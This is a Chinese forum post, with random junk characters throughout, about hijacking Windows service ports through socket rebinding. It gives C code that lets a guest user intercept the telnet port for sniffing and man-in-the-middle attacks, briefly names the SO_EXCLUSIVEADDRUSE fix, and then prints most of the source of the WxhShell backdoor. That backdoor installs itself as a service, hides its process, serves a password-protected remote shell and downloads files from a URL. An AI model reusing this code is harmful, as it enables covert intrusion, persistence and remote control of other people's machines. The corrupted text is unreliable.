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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: wU=(_S,c  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); UVUHLu|^  
# ><.zZ  
  saddr.sin_family = AF_INET; ~v5tx  
ljk-xC p/  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); _Q7)FK  
@P8q=j}l9  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); m{1By/U  
>s{[d$  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 lUp 7#q  
:gR`rc!  
  这意味着什么?意味着可以进行如下的攻击: #de]b  
zRKg>GG`  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 OtC/)sX  
uW[ <?sFG  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) yn7n  
8>w/Es5  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 KJ-D|N,8@^  
yeW|Ux:  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  "c}b qoN  
vzVl2  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ld3,)ZY  
oc15!M3$  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 2;q6~Y,  
l\S..B +  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 c~>M7e(  
rVz#;d!`z  
  #include %7{6>6%  
  #include L 5>>gG ,  
  #include NSxDCTw  
  #include    F<I-^BY)  
  DWORD WINAPI ClientThread(LPVOID lpParam);   7igrRU#1%  
  int main() d+/d)cu  
  { amPQU  
  WORD wVersionRequested; [H"Ods~_`  
  DWORD ret; 79i>@u%  
  WSADATA wsaData; l5aQDkp}  
  BOOL val; 9zX\i oT  
  SOCKADDR_IN saddr; 7qs[t7-h?  
  SOCKADDR_IN scaddr; 8sL7p4  
  int err; F35e/YfG  
  SOCKET s; \tQRyj\|  
  SOCKET sc; 'vh:(-  
  int caddsize; v!W,h2:J  
  HANDLE mt; za24-q  
  DWORD tid;    Z3I<  
  wVersionRequested = MAKEWORD( 2, 2 ); &3AGj,  
  err = WSAStartup( wVersionRequested, &wsaData ); k6dSj>F>  
  if ( err != 0 ) { `T}e3l  
  printf("error!WSAStartup failed!\n"); $#0%gs/x  
  return -1; =LuA [g  
  } $ccI(J`zux  
  saddr.sin_family = AF_INET; 6~}=? sX4  
   &<L+;k~P%  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ~ Iv[  
QjRVdb>  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 4u"O/rt  
  saddr.sin_port = htons(23); YH E7`\l  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Qs~;?BH&  
  { AN^;~m^  
  printf("error!socket failed!\n"); K}Aaflq  
  return -1; d`v]+HK  
  } ty(F;M(  
  val = TRUE; cnI!}Bu  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 g6nBu  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) mvYr"6f8  
  { z<)?8tAgq  
  printf("error!setsockopt failed!\n"); TG'A'wXxy  
  return -1; ;N i+TS  
  } Rh: \/31~  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 03# r F@e  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 '?q|7[SU  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Yj;$hV8j(  
G`w7dn;&  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Tl9_Wi  
  { {Rbc  
  ret=GetLastError(); g{dyDN$5|w  
  printf("error!bind failed!\n"); <~f/T]E,  
  return -1; \ <V{6#Q=  
  } u TOL  
  listen(s,2); .\i9}ye  
  while(1) .vwOp*3\  
  { =:5yRP  
  caddsize = sizeof(scaddr); J#bEAK^L,l  
  //接受连接请求 i9+V<'h  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); YMJ?t"  
  if(sc!=INVALID_SOCKET) hYF<Wn3L  
  { xUj[d(q  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Rh~<#"G]  
  if(mt==NULL) b[H& vp  
  { rW!P~yk  
  printf("Thread Creat Failed!\n"); \u:xDS(  
  break; \O@,v0?R  
  } :h?Zg(l  
  } \9<aCJxN  
  CloseHandle(mt); mM>{^%2Q:  
  } #j'O rD  
  closesocket(s); hCc I >[H5  
  WSACleanup(); 2v yB [(  
  return 0; C S+6!F]  
  }   *h$Dh5%P  
  DWORD WINAPI ClientThread(LPVOID lpParam) .~C*7_  
  { |VTm5.23  
  SOCKET ss = (SOCKET)lpParam; nB"q  
  SOCKET sc; "o% N`Xlx  
  unsigned char buf[4096]; %Wn/)#T|  
  SOCKADDR_IN saddr; ~E#>2Mh  
  long num; tOS%.0W5J  
  DWORD val; HuCH`|v-  
  DWORD ret; i3N _wv{  
  //如果是隐藏端口应用的话,可以在此处加一些判断 rAk*~OK  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ' ^n2]<  
  saddr.sin_family = AF_INET; ^uC1\!Q1  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); J*qepq`_  
  saddr.sin_port = htons(23); HIeWgw^"  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +#n5w8T)M  
  { miEfxim  
  printf("error!socket failed!\n"); =]&R6P>  
  return -1; J7_'@zU  
  } 3,W2CN}  
  val = 100; Peh( *D{  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) USJ4qv+-  
  { hAKyT~[n0  
  ret = GetLastError(); ,~%Qu~\  
  return -1; , )u}8ty3j  
  } 7DXT1+t  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) wE;??'O'l  
  { @C7#xGD  
  ret = GetLastError(); ,NPU0IDG>  
  return -1; 2r<UYB  
  } K4snp u hC  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ^`Vt<DMT  
  { 8&f}GdZh  
  printf("error!socket connect failed!\n"); ok2$ p  
  closesocket(sc); 9^)ochY3  
  closesocket(ss); (Sv7^}j  
  return -1; |l `X]dsfQ  
  } R84 g<  
  while(1) zH}u9IR3`  
  { D3vdO2H  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ,m9Nd "6\  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 .0r5=  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 +|r) ;>b  
  num = recv(ss,buf,4096,0); p;U[cGHC  
  if(num>0) ycIT=AFYqd  
  send(sc,buf,num,0); @| qnD  
  else if(num==0) Y)?4OB=n  
  break; 0q>f x  
  num = recv(sc,buf,4096,0); 0 A/GWSmF  
  if(num>0)  >pT92VN  
  send(ss,buf,num,0); ` L6H2:pf  
  else if(num==0) uFW4A  
  break; n +`(R]Q  
  } Vt*Duh+4  
  closesocket(ss); t? yMuK  
  closesocket(sc); >dn[oS,  
  return 0 ; lTDF5.aE  
  } \$<kJ|| lS  
Y[X5S{H`wj  
cg}46)^<QH  
========================================================== JIjqGxR  
= r_&R#~GT  
下边附上一个代码,,WXhSHELL :~{XL>:S  
&W)k s  
==========================================================  J<V}g v  
fZ 17  
#include "stdafx.h" e}-uU7O  
Wi'BX#xCB  
#include <stdio.h> RHz'Dz>0  
#include <string.h> VsNqYFHes&  
#include <windows.h> !D7 [R'RgY  
#include <winsock2.h> e(6g|h  
#include <winsvc.h> '[{M"S  
#include <urlmon.h> !c\s)&U7B  
PQlG !  
#pragma comment (lib, "Ws2_32.lib") n)8bkcZCp+  
#pragma comment (lib, "urlmon.lib") vWXj6}  
pzCD' !*  
#define MAX_USER   100 // 最大客户端连接数 \b1I<4(  
#define BUF_SOCK   200 // sock buffer ;yx+BaG~?  
#define KEY_BUFF   255 // 输入 buffer -~p@o1k0  
iEsI  
#define REBOOT     0   // 重启 8n,i5>!d  
#define SHUTDOWN   1   // 关机 I^qk`5w  
*;1G+Q#  
#define DEF_PORT   5000 // 监听端口 ec)G~?FH  
I,l%6oPa  
#define REG_LEN     16   // 注册表键长度 ^{zwIH2I]  
#define SVC_LEN     80   // NT服务名长度 =uYSZR  
]j}zN2[A  
// 从dll定义API iePpJ>(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); eWhv X9 <  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?A8Uf=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !3-mPG< ]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Cc1sZWvz  
P zzX Ds6  
// wxhshell配置信息 49@ pA-  
struct WSCFG { N?p9h{DG  
  int ws_port;         // 监听端口 |rq~.cA  
  char ws_passstr[REG_LEN]; // 口令 Qo0okir  
  int ws_autoins;       // 安装标记, 1=yes 0=no o%+K S5v!  
  char ws_regname[REG_LEN]; // 注册表键名 d_QHm;}Cx  
  char ws_svcname[REG_LEN]; // 服务名 a+{YTR>0m  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (|I0C 'Ki  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |U8;25Y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 w-HgC  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~lzV=c$t  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" pW:U|m1dS  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 KJ.ra\F  
ST'L \yebc  
}; 2Qc&6-;`  
SrN0f0  
// default Wxhshell configuration %$:js4  
struct WSCFG wscfg={DEF_PORT, st:[|`  
    "xuhuanlingzhe", !Z<GUbl t  
    1, 'N,x=1R5  
    "Wxhshell", )tz8(S  
    "Wxhshell", i5(_.1X<#{  
            "WxhShell Service", t8U)za  
    "Wrsky Windows CmdShell Service", TEE$1RxV(  
    "Please Input Your Password: ", RCND|X  
  1, Njc3X@4=  
  "http://www.wrsky.com/wxhshell.exe", YM1tP'4j@  
  "Wxhshell.exe" jQ4Pv`  
    }; =3a`NO5!  
F<Z"W}I+6  
// 消息定义模块 o//N"S.)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; kVe^g]F  
char *msg_ws_prompt="\n\r? for help\n\r#>"; s><RL]+{G+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +7sdQCO(Co  
char *msg_ws_ext="\n\rExit."; b! PN6<SI  
char *msg_ws_end="\n\rQuit."; WLDt5R  
char *msg_ws_boot="\n\rReboot..."; h}g _;k5R  
char *msg_ws_poff="\n\rShutdown..."; >Djv8 0  
char *msg_ws_down="\n\rSave to "; sq@Eu>Ng(X  
$*G]6s  
char *msg_ws_err="\n\rErr!"; <$Q&n{  
char *msg_ws_ok="\n\rOK!"; .Uh-Wi[  
8:huWjh]M  
char ExeFile[MAX_PATH]; sog?Mvoq  
int nUser = 0; kD >|e<}\  
HANDLE handles[MAX_USER]; SdnqM`uFo  
int OsIsNt; ?Xlmt$Jp  
rw ^^12)  
SERVICE_STATUS       serviceStatus; :>Z0Kb}7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; qV/"30,K  
shYcfLJ  
// 函数声明 N{q5E,}  
int Install(void); '"GdO;}&  
int Uninstall(void); .J&NM(qeZ  
int DownloadFile(char *sURL, SOCKET wsh); f|m.v +7k  
int Boot(int flag); XFG]%y=/6  
void HideProc(void); \%mR*J+  
int GetOsVer(void); B5=L</Aj  
int Wxhshell(SOCKET wsl); O)\xElu  
void TalkWithClient(void *cs); [LjYLm%<  
int CmdShell(SOCKET sock); (|(Y;%>-v  
int StartFromService(void); M\enjB7k  
int StartWxhshell(LPSTR lpCmdLine); 4AZlr*U  
3543[W#a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {pd%I  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <*8nv.PX*  
%vxd($Ti"  
// 数据结构和表定义 1Q#hanh_`  
SERVICE_TABLE_ENTRY DispatchTable[] = ?9Fv0-g&n  
{ _&19OD%  
{wscfg.ws_svcname, NTServiceMain}, H1s{JJAM>i  
{NULL, NULL} )WwysGkqol  
}; e4khReF;  
j ;VYF  
// 自我安装 QkGr{  
int Install(void) O|4~$7  
{ 3|/ ;`KfQ  
  char svExeFile[MAX_PATH]; jdXkU  
  HKEY key; /n@_Ihx  
  strcpy(svExeFile,ExeFile); X'7 T"5!  
cK@O)Ko}  
// 如果是win9x系统,修改注册表设为自启动 bsP:tFw>  
if(!OsIsNt) { 0=t_ a]+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { AH`tkPd  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O JvEq@  
  RegCloseKey(key); uLe+1`Y5Ux  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dbB2/RI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *>$'aQ  
  RegCloseKey(key); sFC1PdSk4T  
  return 0; A>R ^iu  
    } }\JoE4  
  } nITr5$f  
} riFE.;  
else { _~HGMC)  
`z Z=#p/  
// 如果是NT以上系统,安装为系统服务 "y_$!KY%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); h*_r=' E  
if (schSCManager!=0) o'>jO.|  
{ <2}"Y(zwKl  
  SC_HANDLE schService = CreateService x03GJy5  
  ( ] A<\ d  
  schSCManager, 14s+ &  
  wscfg.ws_svcname, B,e@v2jO|  
  wscfg.ws_svcdisp, j(va# f#  
  SERVICE_ALL_ACCESS, ;6fkG/T  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , SY>N-fW\H:  
  SERVICE_AUTO_START, `S;pn+5  
  SERVICE_ERROR_NORMAL, nUd(@@%m  
  svExeFile, l*B;/ >nR  
  NULL, 'G@Npp)&^  
  NULL, goRoi\z $  
  NULL, r/:9j(yxr  
  NULL, %QwMB`x  
  NULL } ..}]J;To  
  ); D dt9`j  
  if (schService!=0) 0kmVP~K  
  { ~4XJ" d3L  
  CloseServiceHandle(schService); /5U?4l(6[f  
  CloseServiceHandle(schSCManager); /3FC@?l w4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5IVASqYp  
  strcat(svExeFile,wscfg.ws_svcname); X k<X:,T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { sJ3HH0e  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _.?$~;7  
  RegCloseKey(key); Q1buuF#CU&  
  return 0; B7?784{x,  
    } `\e@O#,^yI  
  } G]QD6b9~  
  CloseServiceHandle(schSCManager); ;d?4phl -.  
} M?)>, !Z)  
} vJl4.nk  
KXicy_@DC`  
return 1; B<8Z?:3YS  
} [#lPT'l  
Qnr' KbK  
// 自我卸载 8Vl!&j0s^  
int Uninstall(void) N@tzYD|hA  
{ /vsQ <t;~  
  HKEY key; J*a`qU   
M={k4r_t  
if(!OsIsNt) { <:RU,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NFmB ^@k  
  RegDeleteValue(key,wscfg.ws_regname); TQID-I  
  RegCloseKey(key); `A&64D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jUW{Z@{U  
  RegDeleteValue(key,wscfg.ws_regname); f{* G%  
  RegCloseKey(key); n+Fl|4  
  return 0; 3o"~_l$z  
  } R4@C>\c %m  
} ,^AkfOY7"  
} JGGss5  
else { >qcir~ &  
MttVgNV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); L.+5`&  
if (schSCManager!=0) X@|  
{ ?=Ma7 y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); G78rpp  
  if (schService!=0) b4oZ@gVR;  
  { F =d L#@^  
  if(DeleteService(schService)!=0) { X1tAV>k5'L  
  CloseServiceHandle(schService); 9FJU'$FN  
  CloseServiceHandle(schSCManager); h +N75  
  return 0; c @2s!bs  
  } T][\wyLx1  
  CloseServiceHandle(schService); Q\ro )r  
  } 33"{"2==`  
  CloseServiceHandle(schSCManager); ;rd!kFd#bq  
} x<9|t(  
} )Cu"M #`  
{ #>@h7  
return 1; lt}|Y9h  
} G ^r^" j  
LB2 2doW  
// 从指定url下载文件 4i/TEHQ  
int DownloadFile(char *sURL, SOCKET wsh) ]J_Dn\  
{ 2E=E!Zwt_  
  HRESULT hr; < 8WS YZ  
char seps[]= "/"; s&8QRI.  
char *token; ?z Ms;  
char *file; `9b D%M  
char myURL[MAX_PATH]; <(s+  
char myFILE[MAX_PATH]; s{< rc>  
MEq ()}7P  
strcpy(myURL,sURL); 1wGd5>GDA  
  token=strtok(myURL,seps); NZdQz  
  while(token!=NULL) {PYN3\N,  
  { 64b9.5Bn  
    file=token; J^0co1Y0  
  token=strtok(NULL,seps); d-xKm2sH  
  } vV"TTzs!  
r&Za*TD^  
GetCurrentDirectory(MAX_PATH,myFILE); }IEYH&4!  
strcat(myFILE, "\\"); SGjaH 8z  
strcat(myFILE, file); f[h=>O  
  send(wsh,myFILE,strlen(myFILE),0); =We}&80 x  
send(wsh,"...",3,0); n# Z6d`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); U/|B IF  
  if(hr==S_OK) MJ &6 Z*  
return 0; ?Mji'ZW}  
else F!^ Y!Y@H  
return 1; jG{xFz>x  
s^3t18m&1  
} o` ,&yq.  
f>Bcr9]]  
// 系统电源模块 {*>$LlL  
int Boot(int flag) YR~g&E#U^  
{ .+{nfmc,c  
  HANDLE hToken; v2rXuo  
  TOKEN_PRIVILEGES tkp; <f{m=Dc  
w;r -TLf  
  if(OsIsNt) { ?ew^%1!W.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \=,+weGw@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); B^{bXhDp  
    tkp.PrivilegeCount = 1; v|QFUa`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Tje =vI  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); H-7*)D  
if(flag==REBOOT) { .t7D/_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) HT kce,dQ  
  return 0; /EKfL\3  
} Dzc 4J66  
else { ~''qd\.f$  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  X-~Q  
  return 0; VaSw}q/o:/  
} o"QpV >x  
  } j!m~ :D  
  else { wF3mQ_hv:@  
if(flag==REBOOT) { v%86JUlK.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +z("'Cv  
  return 0; P,D >gxl  
} *w> /vu  
else { 5\EHu8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 'HW(RC0dR  
  return 0; e`#Gq0}8  
} nV"[WngN  
} 5 BcuLRId:  
>\(Ma3S   
return 1; p*NC nD*  
} *.voN[$~  
q`9~F4\  
// win9x进程隐藏模块 B:+}^=  
void HideProc(void) }u:^Mz  
{ dpE\eXoa,  
{&w%3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); McH*J j  
  if ( hKernel != NULL ) )bw>)&)b`  
  { A 7DdUNR  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); l_^>spF  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Z0`?  
    FreeLibrary(hKernel); S,Zjol%p  
  } {vA;#6B|  
~]c^v'k  
return; .F)--%  
} ?vf\_R'M  
LUS7-~:F  
// 获取操作系统版本 90I)"vfW5  
int GetOsVer(void) UY%@i  
{ a,&Kvh  
  OSVERSIONINFO winfo; ~LYKt0/W&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |(XV '-~  
  GetVersionEx(&winfo); fa5($jJ&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Q7c_;z_  
  return 1; bp$8hUNYz-  
  else alHwN^GhP  
  return 0; o)S>x0| [  
} $V`O%Sz  
Ldir'FW  
// 客户端句柄模块 ?xUz{O0/  
int Wxhshell(SOCKET wsl) .7E-  
{ sY1@ch"  
  SOCKET wsh; ;M4N=G Wd4  
  struct sockaddr_in client; y^M'&@F  
  DWORD myID; 0FTiTrTn  
y~ ^>my7G  
  while(nUser<MAX_USER) V~e1CZ(2X  
{ 0#Rj[J;kh  
  int nSize=sizeof(client); zS?i@e $  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :CK,(?t  
  if(wsh==INVALID_SOCKET) return 1; K=`*cSU>  
b'vJPv~hI  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Nmi#$K[x  
if(handles[nUser]==0) }1;Ie0l=_e  
  closesocket(wsh); #)cRD#0  
else Im6ymaf9  
  nUser++; 5:n&G[Md  
  } sPc\xY  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \hNMTj#O  
=Ee f  
  return 0; u!L8Sv  
} _;LHC;,:  
b2p<!?  
// 关闭 socket DB?_E{y]  
void CloseIt(SOCKET wsh) <JZ=K5  
{ L=HL1Qe$G]  
closesocket(wsh); -6t# ?Dkc'  
nUser--; rw+0<r3|K  
ExitThread(0); nR"k %$  
} .fD k5uo  
QfwGf,0p  
// 客户端请求句柄 c%uhQ 62  
void TalkWithClient(void *cs) ' P-K}Y  
{ 9iS3.LCfX  
 pLyX9C  
  SOCKET wsh=(SOCKET)cs; $8_*LR$  
  char pwd[SVC_LEN]; hc0VS3 k)  
  char cmd[KEY_BUFF]; $I1p"6  
char chr[1]; \?qXscq  
int i,j; |l)Oy#W  
TTy1a:V  
  while (nUser < MAX_USER) { X]y3~|K  
;'J L$=  
if(wscfg.ws_passstr) { /=7|FtB`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k"Sw,"e>+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #"7:NR^H^  
  //ZeroMemory(pwd,KEY_BUFF); C: e}}8i  
      i=0; xn}'!S2-b  
  while(i<SVC_LEN) { CB?.| )Xam  
~@got  
  // 设置超时 W"!nf  
  fd_set FdRead; D4o?  
  struct timeval TimeOut; K=06I  
  FD_ZERO(&FdRead); U35}0NT _  
  FD_SET(wsh,&FdRead); wu 3uu1J  
  TimeOut.tv_sec=8; V TEyqo2  
  TimeOut.tv_usec=0; ,LzS"lmmo  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #3/l4`/j  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); gVq{g,yi  
L{gFk{@W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >u4uV8S   
  pwd=chr[0]; ,&)XhO?  
  if(chr[0]==0xd || chr[0]==0xa) { = b)q.2'#  
  pwd=0; Pv0OoN*eJ{  
  break; |c >  
  } 'u696ED4  
  i++; -,4_ &V  
    } 7c;59$2(  
;\#u19  
  // 如果是非法用户,关闭 socket QMfYM~o  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); QAb[M\G  
} ^OA}#k NTW  
*xLMs(gg  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zlFl{t  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Bq:@ [pCQ  
.!9]I'9M  
while(1) { 53(m9YLk  
w;#9 hW&  
  ZeroMemory(cmd,KEY_BUFF); \LM'KD pP_  
4>5%SzZT\3  
      // 自动支持客户端 telnet标准   jj$'DZk  
  j=0; x$s#';*  
  while(j<KEY_BUFF) { _=}Y lR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H56e#:[$  
  cmd[j]=chr[0]; )n0g6  
  if(chr[0]==0xa || chr[0]==0xd) { j83p[qR7o  
  cmd[j]=0; G_AAE#r`  
  break; possM'vC  
  } 5'z&kl0"S  
  j++; N8nyTPw  
    } #Q$4EQB  
{[Yv@CpN  
  // 下载文件 yY&(?6\{<<  
  if(strstr(cmd,"http://")) { 3q1O:b^eo  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); J-\b?R a  
  if(DownloadFile(cmd,wsh)) twO)b"0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); hc[GpZcw,  
  else ~i  &K,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VUNQ@{ST|1  
  } b]Z@zS<8  
  else { uHf~KYL  
aMz%H|/$  
    switch(cmd[0]) { {s`1+6_&Vz  
  @cjhri|vH  
  // 帮助 :Z< 5iLq  
  case '?': { xaeY^"L  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); nh E!Pk  
    break; \XB71DUF  
  } FG8bP  
  // 安装 Tzk8y 7$[  
  case 'i': { X2Lhb{ZHE  
    if(Install()) }]n&"=Zk-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {{<o1{_H  
    else !P:hf/l[B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <MfB;M  
    break; z5{I3 Y!1  
    } <o]tW4\(R  
  // 卸载 BtqJkdK!;1  
  case 'r': { ;V%lFP3#  
    if(Uninstall()) f}+G;a9Nj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :+R ||q i  
    else :*oI"U*f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A: @=?(lI3  
    break; >?$Ze@  
    } @u$oqjK  
  // 显示 wxhshell 所在路径 <B`=oO%o  
  case 'p': { n%?g+@y,^  
    char svExeFile[MAX_PATH]; c/x(v=LW  
    strcpy(svExeFile,"\n\r"); $[|8bE  
      strcat(svExeFile,ExeFile); "0/OpT7h7  
        send(wsh,svExeFile,strlen(svExeFile),0); n1cAI|ZE  
    break; y'zEaL&SI@  
    } atN`w=6A`  
  // 重启 Nq9(O#}  
  case 'b': { N[42al  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -}N{'S,Bp  
    if(Boot(REBOOT)) HV?awc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1DLQ Zq  
    else { ^qk$W? pX  
    closesocket(wsh); \T[*|"RFZ  
    ExitThread(0); chiQ+  
    } Ar):D#D  
    break; }& 1_gn15  
    } #2WBYScW0  
  // 关机 Vy5Q+gw  
  case 'd': { ~w$8*2D  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); m _]"L  
